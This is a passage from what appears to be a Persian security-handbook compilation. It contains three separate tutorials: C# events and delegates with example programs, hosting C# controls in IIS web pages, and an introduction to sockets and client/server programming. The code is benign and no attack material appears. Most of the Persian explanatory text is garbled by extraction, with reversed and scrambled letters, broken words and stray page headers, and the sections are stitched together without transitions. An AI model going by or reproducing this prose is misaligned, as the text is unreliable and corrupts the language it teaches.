"divisible by seven event raised!!! the guilty party is {0}", 
e.TheNumber); 
} 
} 
public class BusterBoy 
{ 
public static event DivBySevenHandler EventSeven; 
public static void Main() 
{ 
DivBySevenListener dbsl = new DivBySevenListener(); 
EventSeven += new DivBySevenHandler(dbsl.ShowOnScreen); 
GenNumbers(); 
} 
public static void OnEventSeven(DivBySevenEventArgs e) 
{ 
if(EventSeven!=null) 
EventSeven(new object(),e); 
} 
public static void GenNumbers() 
{ 
for(int i=0;i<99;i++) 
{ 
if(i%7==0) 
{ 
DivBySevenEventArgs e1 = new DivBySevenEventArgs(i); 
OnEventSeven(e1); 
} 
} 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩٧١    صفحه

} 
} 
OUTPUT 
F:\c#\events>csc 1.cs 
Microsoft (R) Visual C# Compiler Version 7.00.9254 [CLR version v1.0.2914] 
Copyright (C) Microsoft Corp 2000-2001. All rights reserved. 
F:\c#\events>1 
divisible by seven event raised!!! the guilty party is 0 
divisible by seven event raised!!! the guilty party is 7 
divisible by seven event raised!!! the guilty party is 14 
divisible by seven event raised!!! the guilty party is 21 
divisible by seven event raised!!! the guilty party is 28 
divisible by seven event raised!!! the guilty party is 35 
divisible by seven event raised!!! the guilty party is 42 
divisible by seven event raised!!! the guilty party is 49 
divisible by seven event raised!!! the guilty party is 56 
divisible by seven event raised!!! the guilty party is 63 
divisible by seven event raised!!! the guilty party is 70 
divisible by seven event raised!!! the guilty party is 77 
divisible by seven event raised!!! the guilty party is 84 
divisible by seven event raised!!! the guilty party is 91 
divisible by seven event raised!!! the guilty party is 98 
F:\c#\events> 

  
  :فوق دک مورد در یتوضيحات

  
ردد  یم  صادر  یرخداد  ، است قسمت قابل ٧ بر هک شود توليد یعدد رگاهه فوق دک در ردان  دادی رو . گ  نی ا در event ) (handler گ

ين  .دهد یم شینما مربوطه عدد مراهه به صفحه یرو بر رخداد افتادن اتفاق بر یمبتن را یپيغام حالت را  هک  یارک  اول  منظور  نی ا یب
  : است delegate یک  فیتعر شد انجام

 
 

public delegate void DivBySevenHandler(object o, DivBySevenEventArgs e); 
  
 اداره را رخداد  نیا دهبخوا هک یلاسک ره نیبنابرا . دینما یم فیتعر ، فرستاد گردان دادیرو به دیبا هک را ییاهپارامتر delegate  نیا

 .باشد delegate نیا ماننده آن یخروج و یورود یاهآرگومان دقيقا هک ندک فیتعر یمتد دیبا دینما
 
 تر یاربردک و تر یواقع ییاهمثال در . باشد یمobject  نوع از شده فیتعر Delegate ومانآرگ اولين يدینما یم ملاحظه هک مانطوره

 دادیرو به آرگومان بعنوان()new object یک اهتن ما مثال در چند ره . گيرد یم قرار استفاده مورد شی نیا از مرجع یک اهتن عموما
وان  یم نيز this  فرنسیر از .است شده فرستاده گردان تفاده  حالت  نی ا در ت ود  اس ارامتر  . نم  مشتق  System.EventArgs  از دوم پ
 اطلاعات  فرستادن یا بر آن از ما .اهرخداد با مرتبط یاه داده ردنک پسولهک یبرا هیپا است یلاسک System.EventArgs است شده

   :يمینما یم جادیا را EventArgs از شده مشتق یلاسک ادامه در .يمینما یم استفاده گردان دادیرو به رخداد با مرتبط
 

public class DivBySevenEventArgs : EventArgs 
{ 
public readonly int TheNumber; 
public DivBySevenEventArgs(int num) 
{ 
TheNumber = num; 
} 
} 
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ن read-only متغير رای  کلاس   ای د  عدد  داریه نگ ب ل  ی شده  تولي سمت  قاب ر  ق ورد  فت ه ب تفاده  م رار  اس رد  می  ق  از اینکار  بجای  .گي
propertiesکلاس یک سپس .کرد استفاده توان می  نيز listenerنمایيم می ایجاد افتاده اتفاق ایهرخداد به دادن فرا گوش برای  را:  

  
public class DivBySevenListener 
{ 
public void ShowOnScreen(object o, DivBySevenEventArgs e) 
{ 
Console.WriteLine( 
"divisible by seven event raised!!! the guilty party is {0}", 
e.TheNumber); 
} 
} 

  
 نحوه به .دارد مخوانیه ، آن ایجاد ابتدای در برنامهDelegate تعریف ی نحوه با که باشد می ShowOnScreen متد حاوی کلاس این
رای  DivBySevenEventArgs از استفاده ی ایش  ب ل  عدد  نم س  قاب ر  متق د  دقت  فت ه ب ه  در .نمایي ه  ادام اليز  ب د  حاوی  کلاس  آن   مت

Main گردد می تعریف زیر صورت به شده ذکر رخداد ، کلاس این در :پردازیم می : 
 

public static event DivBySevenHandler EventSeven; 
  
  : سازد می آگاه را اه کلاینت تمام سپس و نموده دریافت را رخداد زیر متد

 
public static void OnEventSeven(DivBySevenEventArgs e) 
{ 
if(EventSeven!=null) 
EventSeven(new object(),e); 
} 

  
ودن  فته بر تقسيم قابل بررسی عمليات بار، ره در و شد ندهخوا اجرا بار ٩٩ ، حلقه درون ایهکد GenNumbers تابع در ام  ، ب  انج
 .شود می

 
public static void GenNumbers() 
{ 
for(int i=0;i<99;i++) 
{ 
if(i%7==0) 
{ 
DivBySevenEventArgs e1 = new DivBySevenEventArgs(i); 
OnEventSeven(e1); 
} 
} 
} 

  
 استفاده رخداد به delegate کردن اضافه برای += عملگر از سپس . شود می ایجاد DivBySevenListener شی ابتدا Main متد در

  .کرد استفاده -= عملگر از توان می حذف برای که است یهبدی .است گردیده
 
  

public static void Main() 
{ 
DivBySevenListener dbsl = new DivBySevenListener(); 
EventSeven += new DivBySevenHandler(dbsl.ShowOnScreen); 
GenNumbers(); 
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} 
  

 از یکی  که رگاهه .نماید می توليد را ٩٨ تا ٠ از اعدادی تابع این . ودش می فراخوانی GenNumbers تابع ، عمليات این انجام از پس
 !رسيد دهخوا عموم اطلاع به سریعا خبرش باشد قسمت قابل فته بر توليدی اعداد

 
  : نکته

  
د  می  مورد این . باشند می استفاده قابل اید نموده تعریف را اهآن که کلاسی در اهتن اهرخداد ری  ارث بحث  در را مشکلاتی  توان اد  ب  ایج
ا  نمود معرفی  protected را رخداد متد توان می مساله این حل برای .نماید رده  ارث کلاس  ت د  اصلی  کلاس  از ب را  بتوان  فراخوانی  آن
   .نمود تحریف override آنرا بتوان تا کرد معرفی نيز virtual آنرا است ترهب مچنينه و نماید

 
  :شود طی زیر مراحل باید اهرخداد گيری بکار برای خلاصه صورت به
  
  Delegate یک تعریف -١
  
  .رخداد به مربوط اطلاعات کردن کپسوله برای System.EventArgs از شده مشتق کلاسی تعریف -٢
  
 بود دهخوا زیر موارد شامل کلاس این (rasing an event) برانگيزد را رخداد که کلاسی ایجاد -٣
 

  است شده رجيستر ایه کلاینت دارای که رخدادی) الف 
 

  . رخداد یک وقوع از اه کلاینت ساختن آگاه برای تدیم) ب 
 
دی  دارای کلاس  این . کلاینت کلاس ایجاد -۴ ه  است  مت ا  ک وع ( دارد  مخوانی ه delegate امضای  ب داد  و ن  و ورودی ایه آرگومان تع

  .کرد دهخوا دریافت را رخداد متد این ) است یکی اهآن خروجی
 
 .رخداد از استفاده به مجاز ندگانهد گوش از یکی بعنوان متد این ردنک رجيستر -۵
  

  : علاقمندان برای دیگر کامل مثال یک
 

//Start of program 
using System; 
using System.ComponentModel; 
// First step -- declare the delegate 
public delegate void EvenEventHandler(object sender, EvenEventArgs e); 
//Second step -- create a class derived from EventArgs 
public class EvenEventArgs : EventArgs 
{ 
// Declare private variables to reflect the information 
// about the event 
private readonly bool evensteven; 
private readonly int evenone, eventwo; 
//Constructor 
public EvenEventArgs(bool evensteven, int evenone, int eventwo) 
{ 
this.evensteven = evensteven; 
this.evenone = evenone; 
this.eventwo = eventwo; 
} 
//The properties to enable the client to access the event info 
public bool Evensteven 
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{ 
get 
{ 
return evensteven; 
} 
} 
public int Evenone 
{ 
get 
{ 
return evenone; 
} 
} 
public int Eventwo 
{ 
get 
{ 
return eventwo; 
} 
} 
} 
//Third step -- create the class that will raise the event 
public class EvenDetector 
{ 
//Declare some variables to make life simpler 
private bool goteven, done; 
//and our own random number generator 
private Random r1; 
//as well as the number we shall check for 'evenness' 
private int randomnum; 
//Also the two even numbers 
private int evenone, eventwo; 
//Constructor 
public EvenDetector() 
{ 
r1 = new Random(); 
} 
public void numbercruncher() 
{ 
//Loop until two successive even numbers have been generated 
while(!done) 
{ 
randomnum = (int)(100*r1.NextDouble()); 
if(randomnum%2==0) 
{ 
if(goteven) 
{ 
done =true; 
eventwo = randomnum; 
} 
else 
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{ 
goteven = true; 
evenone = randomnum; 
} 
} 
else 
{ 
goteven = false; 
} 
} 
//Success -- create an object for the client(s) 
EvenEventArgs e = new EvenEventArgs(done, evenone, eventwo); 
//and call the method to send it to the client(s) 
OnEven(e); 
} 
//Step 3a -- the event is declared 
public event EvenEventHandler Even; 
//Step 3b -- the method that notifies client(s) 
protected virtual void OnEven(EvenEventArgs e) 
{ 
// If the list of clients is NOT empty 
if(Even != null) 
{ 
//despatch the event to each client 
Even(this, e); 
} 
} 
} 
//Fourth step -- and now the client class 
public class EvenListener 
{ 
//This is the method with the same signature as 
//the delegate. It will receive the event 
public void EvenAnnouncer(object sender, EvenEventArgs e) 
{ 
//This will always be true and hence is redundant. 
//Just illustrates the use of EventArgs 
if(e.Evensteven) 
{ 
Console.WriteLine("THE EVEN TWINS ARE HERE! -- {0} and {1}", e.Evenone, 
e.Eventwo); 
} 
} 
} 
//Fifth step -- hook 'em up 
public class EvenTester 
{ 
public static void Main() 
{ 
//Instantiate EvenDetector 
EvenDetector ed = new EvenDetector(); 
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//Instantiate EvenListener 
EvenListener el = new EvenListener(); 
//Register the listener method 
ed.Even += new EvenEventHandler(el.EvenAnnouncer); 
ed.numbercruncher(); 
} 
} 
//End of program 

  
 : مراجع
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 شارپ سی های اپلت
  
  

  : مقدمه
 
تفاده  با اهتن شارپ سی ایه اپلت که است ذکر به لازم .شویم آشنا شارپ سی ایه اپلت نوشتن ی نحوه با داریم قصد مقاله این در  از اس

IIS محيط این از غير محيطی در اگر بنابراین ) جاوا ایه اپلت رخلافب ( ستنده اجرا قابل(IIS)  ا  صرفا  نمایيد اهآن اجرای به سعی  ب
  .شد يدهخوا مواجه خالی ی صفحه یک

 
 صرفا  اه اپلت این مورد در شوند ایزوله مجازی دایرکتوری یک توسط باید حتما IIS محيط در هک ASP.NET ایه برنامه خلاف بر
از  حداقل  کلاینت  ایه کامپيوتر شارپ سی ایه اپلت اجرای برای .نماید می کفایت wwwroot درون به فولدر کردن کپی ه  ني  IE 6  ب
   .دارند ورک فریم نت دات و
 
  

  : شارپ سی از استفاده با ساده اپلتی ايجاد
  

VC# VS.NETروژه  نوع سپس و نموده اجرا  را ل  از و را پ ه  Templates پن د  انتخاب  را Class Library ی گزین ا  در .نمایي  اینج
  )یک  کلش ( نمایيم استفاده آن از HTML  صفحات در و آورده در (dll.) اسمبلی یک صورت به را اپلت کد داریم قصد

  

  
  

  .اپلت شارپ سی یک ایجاد برای  wwwroot درون Control library ی پروژه یک ایجاد -١ شکل
 

 و کلاس این ساخت از پس .باشد فراخوانی قابل  IE توسط تا باشد پارامتر بدون باید ما ی پروژه کلاس ی سازنده که است ذکر به لازم
 :نمود استفاده  HTML صفحات در آن از توان می سادگی به زیر صورت به آن اسمبلی توليد

 
<object 
id=anID 
classid="http:myAssemblyDll.dll#controlClassToInstantiate" 
height=300 width=300> 
</object> 
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   :نمود فراخوانی اسکریپت جاوا یک کد درون آنرا زیر صورت به توان می کنترل به لازم ID دادن نسبت از پس
 

<script> <!-- 
myID.AProperty = aValue; 
myID.Refresh() 
//--></script> 

  
  : اپلت کد
 

ه  داشت  بخاطر باید اهتن .است شده ارائه ذیل در اسمبلی کامل سورس ل  ک ل  از قب ه،  کردن  کامپای رنس  برنام ه  را لازمی  ای ه ریف  در ک
 .نمود ضميمه پروژه به باید را اند شده مشخص دو شکل

  
  

 
  

  .نت دات اسمبلی ی پروژه به لازم ایه ریفرنس نمودن اضافه -٢ شکل
 

using System; 
using System.Drawing; 
using System.Windows.Forms; 
namespace cs_appl 
{ 
public class T : Control 
{ 
protected override void OnPaint(PaintEventArgs e) 
{ 
e.Graphics.FillRectangle( 
new SolidBrush(Color.Azure), ClientRectangle); 
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e.Graphics.DrawLine(Pens.DarkSalmon, 
new Point(0, 0), 
new Point( 
ClientRectangle.Width, 
ClientRectangle.Height)); 
} 
public static void Main(string[] m) 
{ 
Form f = new Form(); 
T t = new T(); 
t.Dock = DockStyle.Fill; 
f.Controls.Add(t); 
Application.Run(f); 
} 
} 
} 

  
 :است زیر صورت به نماید استفاده تواند می فوق ی شده ساخته ی کتابخانه از که ایی HTML  ی صفحه کامل کد
  

<html> 
<head> 
<title>C# Web control I</title> 
</head> 
<body> 
and now...<br> 
<object id=t 
classid="http:cs_appl.dll#cs_appl.T" 
height=300 width=300 VIEWASTEXT> 
</object> 
<br> 
<a href=Class1.cs>source</a> 
</body> 
</html> 

  
  IIS :در مربوطه HTML و اپلت کردن اجرا ی نحوه

  
ود  کپی wwwroot به آنرا باید شارپ سی اپلت اجرای نگامه اما نداشت وجود wwwroot  درون پروژه ساخت به الزامی چند ره  .نم

   )٣ شکل(   .برگزینيد را Browse ی گزینه و نموده راست کليک IIS محيط در شده ساخته HTML درون فایل روی
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  IIS .در شارپ سی اپلت اجرای ی نحوه -٣ شکل
 .شد دهخوا اجرا ۴ شکل صورت به اپلت پایان در و
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 .شارپ سی ی نمونه اپلت یک اجرای از نمایی -۴ شکل
  

  : مرجع
 

C# Applet By Lloyd Dupont 
http://www.csharphelp.com/ 
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  برنامه نويسی تحت شبکه اينترنت
  

  مهندس احسان ملکيان: نویسنده 
  )WhiteHat Nomadsعضو گروه امنيت (  ؛ ) عضو هيات علمی دانشگاه تربيت معلم تهران (

  
  ؟: پست الکترونيک     

  
  
  
  

  )مقدمه 
  

 

ا  ساختار  گذشته  فصول  در رد  یررس ب راIP و TCP یپروتکله ه یطر و میک ا  پروسه  و نهايماش  یده  آدرس ق  را نيماش  هر  یرو یه
 ستميس از یجزئ بعنوان و انجام عامل ستميس هر طراح توسط پروتکلها نیا یادهسازيپ معمولاً .ميآموخت پورت آدرس وIP آدرس لهيبوس
 نیا ستين دسترس در آن برنامه اصل که MS-Windows ای کسيونی مثل ییها عامل ستميس در .شوديم نصب و ارائه آن همراه عامل

رتبط  یپروتکلها ای IP و TCP یها برنامه یشگاهیآزما یطهايمح در بتوان که ندارد وجود انعطاف ا  م ا  ب  جه ينت و داد یرات ييتغ را آنه
 .میينمايم جلب "نوکسيل " عامل ستميس به را مورد نیا به علاقمندان نظر لذا کرد ليتحل و یبررس را راتييتغ
 

ه  C  مثل یسینو برنامه طيمح کی در بخواهد سینو برنامه کی ميکنيم فرض حال ه  یا بگون د  یسی نو برنام ه  کن  لی فا کی  اتی محتو ک
ه  کی ديکن فرض ای دینما منتقل خودش وتريکامپ یرو آنرا ای بدهد رييتغ را دور راه وتريکامپ کی درون و  برنام  است  شده  موظف  سین
ا  و خاص یکيالکترون پست طيمح کی که ات  ب را  ژهی و امکان را  .دی نما یطراح  یادار طيمح  کی  در یريبکارگ  یب  نيچن  یطراح  یب
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 آشنا شبکه تحت یسینو برنامه ميمفاه با ینحو به دیبا سینو برنامه شوديم فیتعر کاربرد هیلا یعنی چهارم هیلا در تماماً که ییها برنامه
  .باشد

 
ا  با و ميدهيم قرار یبررس مورد را " سوکت" مفهوم و هشبک یسینو برنامه یکل اصول فصل نیا در اده  یمثاله ه  نوشتن  روش س  برنام
ا  کد ، قيعم دید ارائه نيهمچن و کار یسادگ یبرا .کرد ميخواه حیتشر را TCP/IP پروتکل تحت یکاربرد یها ه  ییه  فصل  نی ا در ک

  .شدهاند ترجمه نيماش زبان به gcc  مترجم با و نوکسيل عامل ستميس طيمح در که هستند C  زبان به شونديم ارائه
 
اربرد  برنامه شد خواهند مجبور ینحو به که یسانینو برنامه تمام یبرا است یآغاز نقطه فصل نیا قتيحق در  نترنت یا شبکه  تحت  یک
 کسيونی  عامل ستميس طراحان توسط مفهوم نیا که است سوکت بنام یمفهوم چهارم هیلا یکاربرد یها برنامه تمام یبنا سنگ .سندیبنو
 آنرا مفهوم دیبا فصل نیا در و شد ابداع ها پروسه نيب داده انیجر تبادل و شبکه تحت یها برنامه ارتباط یبرقرار منظور به ییبایز به

  .ميکن یشکاف کالبد
  
د يم یزي چ هر  کسيوني  یايدن در" ديباش دهيشن را جمله نیا شما دیشا دل  و یتلق  لي فا کي  بصورت  توان ام "شود  م واع  و عوامل   تم  ان

ثلاً  .شود مدل لیفا ستميس توسط توانديم (I/O) ها یخروج و یورود اپگر  م د يم چ ثلاً  ( باشد  لی فا کی  توان ا  م ا  یلیف ام  ب  حال  )PRN  ن
تاندارد  لیفا کی بصورت را چاپگر عامل ستميس یوقت دل  اس رده  م ا  شما  باشد  ک اه  ب ه  یميمف ا یفا از ک ا  یريبکارگ  یچگونگ  و له  رد آنه
ه  طيمح  ه  یسی نو برنام را  د،ی ا آموخت داز  راه یب اپگر  یان تن،  کی  چاپ  و چ ه  در دي توانيم م اده  اتي عمل خود  برنام  حال  نيع  در و س

  :ديبده انجام را ریز استاندارد
 

 )()fopen  ای ()open دستورات با ( ديکنيم باز “ینوشتن فقط” یلیفا بصورت آن استاندارد نام با لیفا کی همانند را چاپگر) الف
  
  .گردانديبرم لیفا گر اشاره بعنوان 3 لیفا مشخصه کی عامل ستميس بود زيآم تيموفق قبل مرحله جهينت اگر ) ب
 
ا  را شوند  ارسال  چاپگر یرو بر است قرار که ییها داده ) ج ان  ب ول  دستورات  هم ول  دستور  در نوشتن  یمعم   ای ()write  لی فا یمعم

fwrite()ديسینويم قبل رحلهم از شده باز لیفا درون.  
   
 .()fclose  ای()close دستور . دیبنديم را لیفا کار اتمام از پس) د
  
شود  انجام دیبا که یکار تيکل د  نيهم  ب ه  چن ه  و است  مرحل و  برنام ه  سین وان  چيه  ب اپگر  ساختار  ري درگ عن ال  و چ ه  یاعم را  ک  راه یب

  .دارد بعهده عامل ستميس پوسته از یبخش بعنوان چاپگر انداز هرا را وظائف نیا .شد نخواهد است لازم متن کی چاپ و یانداز
 

 استفاده مورد آن از خواندن ای شینما صفحه یرو بر نوشتن یبرا توانديم قايدق شد یمعرف چاپگر یريبکارگ یبرا که یهاه مرحل چهار
رار  ط  ، ردي گ ق ام  دی با فق ا  صفحه  لی فا ن سول “ شینم ه  نظر  در(con) ” کن ادر  سکيونی  .شود  گرفت ام  است  ق  و یورود یدستگاهها  تم
ام  نیبنابرا .دینما مدل لیفا بعنوان را یخروج ه  یاتي عمل تم ه  ک و  برنام را  سین د  یستی با مختلف  یدستگاهها  یريبکارگ  یب  بکار  و بدان

  :دیریبپذ را ریز یها گزاره ديتوانيم ایآ .بود خواهد شفاف و ساده و کسانی رديبگ
 

 .ینوشتن فقط است یلیفا اپگرچ •
 .یخواندن فقط است یلیفا 1 شگریوپ •
 .ینوشتن و یخواندن است یلیفا کنسول بعنوان شینما فحهص •
 .ینوشتن و یخواندن است یلیفا الیسر ورتپ •
 .ینوشتن و یخواندن است یلیفا سخت سکید یرو یواقع لیفا کی •
  .یخواندن فقط است یلیفا فشرده سکید یرو یواقع لیفا کی •
  . ینوشتن و یخواندن هستند ییلهایفا کسيونی طيمح در لوله خط ایFIFO  صف •

 
تاندارد  لی فا کی  بصورت  عامل  ستميس یايدن در I/O نوع هر که رفتیپذ را نکته نیا شما ذهن که حال ل  اس دل  و عرضه  قاب  کردن  م
 : ميکنيم مواجه یديکل سوال کی با را شما ، است

 
   ؟ندارد (I/O ) یخروج / یورود تيماه دو، آن نيب اطلاعات مبادله و شبکه یرو وتريکامپ دو ارتباط ایآ

  
اً يقی ای دیدار دیترد اگر یول ديکن رها را فصل نیا است یمنف جوابتان اگر ان  ن ا  است  مثبت  جوابت ا  ت ال  را فصل  نی ا انته  اگر  .دیي نما دنب

ا يکامپ یرو مهبرنا دو نيب ارتباط یبرقرار یبرا آنگاه ميبده ميتعم یا شبکه ارتباطات یبرا را لیفا ساختار  ری ز روال دور راه یوتره
  : است یرفتنیپذ
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 ٩٨٤    صفحه

  
 )  مشخص  IPآدرس (  خاص با یوتريکامپ با "ارتباط" کی یبرقرار یبرا را طیشرا تا ديبخواه عامل ستميس از خود برنامه در) الف

ار  نی ا راگ  .دیبگشا  را یسوکت  اصطلاحا ای کند فراهم مشخص پورت آدرس با وتريکامپ آن یرو خاص یا برنامه ود  زي آم تي موفق ک  ب
د  شما  برنامه به  (NULL)پوچ مقدار معمول طبق نصورتیا ريغ در و گردانديبرم لیفا گر اشاره کی شما یبرا عامل ستميس  برخواه

  .گرداند
 
ا  دي توانيم ، دي خوانيم آن از ای  ديسی نويم لی فا کی درون که یصورت همان به ، قبل مرحله در عمل بودن زيآم تيموفق صورت در) ب  ب

  .ديیبنما دادهها مبادله به اقدام()read  ای()recv و()write  ای()send  توابع
  
را ()close تابع با . دیببند یمعمول لیفا کی همانند را ارتباط شد تمام که دادهها مبادله اتيعمل) ج ه  در آنکه  یب د  خود  برنام  لی فا همانن
ابع  یستیبا کند فراهم را ارتباط کی مقدمات تانیبرا تا ديکن طلب عامل ستميس از را "ارتباط گر اشاره" کی  در را()socket یستمي س ت

  .ديبزن صدا خود برنامه
 
 

ه  گردديم بر پوچ ريغ گر اشاره کی ، بود زيآم تيموفق عمل که یدرصورت را  آن از ک ع  یفراخوان  یب ا  روال و تواب د  یه تفاده  یبع  اس
ا  مبادله ای "باز سوکت" از گاه هر نیا از پس .شد خواهد رد  ادی  سوکت  یرو دادهه ان  میک ه  اشاره  منظورم اط  کی  ب از  ارتب ه  ای  ب  مبادل

ه  لهایفا همانند قاًيدق .باشديم یوتريکامپ شبکه ستميس دو یرو TSAP  نقطه دو نيب اطلاعات وان يم ک ان  ت د  همزم  کی  در را لی فا نیچن
د،  آنها از ای نوشت ( لیفا گر اشاره زا استفاده با) آنها از کی هر یرو و کرد باز واحد برنامه ه  کی  در خوان وان يم شبکه  تحت  برنام  ت
  .داد انجام داده مبادله آنها از کدام هر یرو ها ارتباط نیا از کی هر مشخصه با و داشت باز و فعال ارتباط نیچند همزمان بطور
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 ٩٨٥    صفحه

  آنها مفاهيم و سوکت نواعا ) ٢
 

م  یول  هستند  هم یگرید انواع . ندارد وجود شتريب سوکت نوع دو ميکن یمعرف را سوکت انواع تياهم نظر از ميواهبخ اگر ر  تي اهم ک  ت
  : از عبارتند سوکت نوع دو نیا . ندهست

 
  .شوديم دهينام 2 گرا اتصال یها سوکت که میاستر نوع یها وکتس •

 
  .شوديم دهينام 3 اتصال بدون یها سوکت که تاگرامید نوع یها وکتس •

 
 قرار نظر مد راUDP و TCP نوع ارتباط ميمفاه نيب تفاوت سوکت، نوع دو نیا مفهوم نيب زیتما یبرا دیدار یداور شيپ به عادت اگر
اف  نظارت  با مطمئن و بيترت تیرعا با دادهها نیبنابرا و استTCP روش همان میاستر نوع یها سوکت یبرا ارسال روش .ديبده  یک
  .ندارد وجود دادهها انیجر بيترت در ینيتضم چگونهيه و است نامطمئن تاگرامید نوع یها سوکت .شونديم مبادله یاحتمال یخطاها بر
 

د ين ميکنيم یبررس را آنها یبعد فصول در و شدهاند فیتعر چهارم هیلا در که ییها پروتکل و خدمات اکثر ظ  ازمن ار  حف  صحت  و اعتب
ا  ا  انی جر بي ترت تی رعا نيهمچن  و دادهه وان  .هستند  دادهه ال  بعن ال  پروتکل  مث ال  پروتکل  ( FTP )لی فا انتق ر  صفحات  انتق ت  اب ن م

(HTTP) یکيالکترون یها نامه انتقال پروتکل ای(SMTP) اً  و هستند مطمئن ارتباط کی یبرقرار ازمندين یهمگ ا  سوکت  از طبع  یه
  .برنديم بهره میاستر نوع

 
 پروتکل  و دینمايم مبادله خطا از یخال و بيترت تیرعا با را دادهها که است یپروتکل ميآموختTCP پروتکل مورد در قبلاً که همانگونه

 IPا  سوکت   .دارد سروکار شبکه یرو ها بسته یابیريمس با است واقع آن نیریز هیلا در که وع  یه اً يدق میاستر  ن ر  یمبتن  ق   پروتکل  ب
TCPبشود برقرار 2 یا مرحله سه یتکان دست روش به 1 الاتص کی دیبا دادهها مبادله از قبل عتاًيطب و بوده.  

  
ر  یمبتن  تاگرامید نوع یها سوکت دون  و است UDP پروتکل  ب ه  ازي ن ب رار  ب اط  چيه  یبرق ا  ، اتصال  ای  و ارتب ه  دادهه  و شوندي م مبادل
از  مشکلات  نی ا تمام با یول ندارد وجود دادهها بيترت نيتضم و دادهها صحت ، دادهها دنيرس بر ینيتضم نیبنابرا م  ب  از یبرخ  در ه
 سرعت روش نیا حسن تنها .رديگيم قرار استفاده مورد میکرد یبررس آنرا قبلاً کهDNS ستميس ای ریتصو و صدا انتقال مثل ها کاربرد
  .باشديم ها داده انتقال

  
  .ديباش داشته ارياخت درUDP  ای TCP یپروتکلها از استفاده یبرا ابزار کی ديخواهيم ها سوکت از استفاده با شما قتيحق در
  
  
 را خود  تمایل عملاً سوکت تعریف با نویس برنامه و بود خواهد نویسی برنامه سطح در ارتباط تعریف از انتزاعی مفهوم یک سوکت ”

 و فضا تا ميخواهد عامل سيستم ازUDP  یاTCP پروتکل جزئيات با شدن درگير بدون و اعلام کرده عامل سيستم به دادهها مبادله برای
 “.کند ایجاد ، ارتباط یک برقراری جهت را نياز مورد منابع
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 ٩٨٦    صفحه

  یمشتر/ دهنده سرويس فهومم ) ٣
 
ذا  شودي م فیتعر پروسه دو نيماب ارتباط عملاً یعنی باشديم طرفه دو یارتباط هر که است توجه قابل نکته نیا شبکه یسینو برنامه در  ل
 نيطرف از یکی ارتباط هر در .باشند کرده اعلام عامل ستميس به دادهها مبادله یبرا را خود لیتما شروع لحظه در یستیبا ارتباط نيطرف
اط  نیا یآمادگ صورت در مقابل طرف و شوديم یتلق ارتباط کننده شروع ، ذ يم را ارتب ذ  صورت  در .ردیپ اط،  رشیپ ه  ارتب ا  مبادل  دادهه

ه  اگر .بود خواهد ریپذ امکان ه  ار یا ه برنام ده  شروع  ک اط  کنن ه  است  ارتب ام  یمشتر  برنام دتا  ميبن ه  قاع ه  یا ه برنام اط  نی ا ک  را ارتب
  .گرفت خواهد نام دهنده سیرو سبوده آن منتظر د ویرپذيم
 

ه  است ای هپروسه (Client)مشتری :عمومی تعریف د  اصولا  ک داری  نيازمن ده  سرویس  .است  اطلاعات  مق  ای پروسه  (Server)دهن
د  منتظر و بگذارد اشتراک به را اطلاعات این تا دارد تمایل و دارد اختيار در را یاطلاعات که است ا  ميمان  از واحدی  ، متقاضی  یک  ت
  .بدهد تحویل آنرا او و کند طلب را اطلاعات این
 
  

ده  سیسرو از سخن یوقت مثال بعنوان ارت  کی  در است  اني م در وب دهن اده  عب ه  است  یستمي س منظور  ، س ات  ک  قالب  در را یاطلاع
 اجابت  را درخواست  نیا او و نموده را صفحات نیا از یکی یتقاضا یکس که است منتظر حال نيع در و دارد ارياخت در وب صفحات
  .دینما ارسال تقاضا نیا به پاسخ در را لازم یدادهها و کرده

  
ر  یمبن ییتقاضا تا است تظرمن و شوديم نصب دهنده سیسرو نيماش یرو که است یهاه برنام دهنده سیسرو سمت برنامه رار  ب  یبرق

 شروع دهنده سیسرو برنامه یکل حالت در نیبنابرا دینما ارسال را مناسب پاسخ ، تقاضا آن پردازش از پس و کرده افتیدر ارتباط کی
   .ستين ارتباط کی کننده

  
د يم اتاطلاع درخواست به اقدام ، ازين بنابر که هستند یمشتر سمت یها برنامه مقابل طرف در داد  .کنن ا  یمشتر  تع  ینهايماش  یرو ه

ا  ستميس در مگر . است یکی ها دهنده سیسرو تعداد معمولاً کنيل و باشد متعدد توانديم نيماش کی یرو یحت ای متفاوت  شده  عی توز یه
ه  دیريبگ نظر در را یپاسخ و پرسش جلسه مثال یبرا . ستندين ما بحث مورد که ر ی ک  سوال  منتظر  و وپاسخگ  ، اطلاعات  صاحب  کنف

 سمت - ندینما سوال بحث مورد موضوع با رابطه در مختارند که هستند کننده سوال یتعداد گرید طرف در دهنده سیسرو سمت - است
   .-یمشتر

  
وم  در دقت  با رسديم نظر به ده  سیسرو  مفه شو  متقاعد  یمشتر  /دهن ه  دیب ه  ساختار  ک ه  یا ه برنام ده  سیسرو  سمت  در ک  حال  در دهن

  .بود خواهد متفاوت ، شوديم اجرا یمشتر سمت در که یا برنامه با اجراست
  
  

  
  

 یمشتر و دهنده سیسرو نيب ارتباط ١ شکل
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 ٩٨٧    صفحه

 سمت در نيهمچن و دهنده سیسرو سمت در یستیبا که یکار کل تمیالگور ستين بد میبشو سوکت یسینو برنامه مقوله وارد آنکه از قبل
  : ميینما یبررس بشود، انجام یمشتر

 
  : بود خواهد ازمندين ریز اتيعمل به دهنده سیسرو سمت در شما رنامهب
 

ه  فقط نجایا تا .دیاوريب وجوده ب ، است ارتباط کی مشخصه که را سوکت کی ) الف ه  دی کردها اعلام  عامل  ستمي س ب د ين ک  فی تعر ازمن
ار  نی ا .دي نمائيم یمعرف UDP  ای TCP را خود یدرخواست ارتباط نوع عامل ستميس به مرحله نيهم در .ديهست ارتباط کی  طيمح  در ک
  .شوديم انجام()socket یستميس تابع توسط کسيونی عامل ستميس
  
ا  قتيحق در و شوديم انجام()bind یستميس تابع توسط کار نیا .ديبده نسبت پورت آدرس کی دیکردها باز که یسوکت به ) ب ار  نی ا ب  ک
 ، دارد مطابقت  شما  نظر  مورد شماره با شان مقصد پورت آدرس که را UDP ایTCP یها بسته تمام که ديکنيم اعلام عامل ستميس به
ورت  شماره  با UDP ای  TCP یها بسته از یا دسته رندهیپذ بعنوان را خودتان کار نیا با قتيحق در .کند تیهداا شم برنامه سمت به  پ

 است یالزام()bind دستور از تفادهاس دهنده سیسرو سمت برنامه در که ديکن قتد. ید ا کرده یمعرف خاص
  
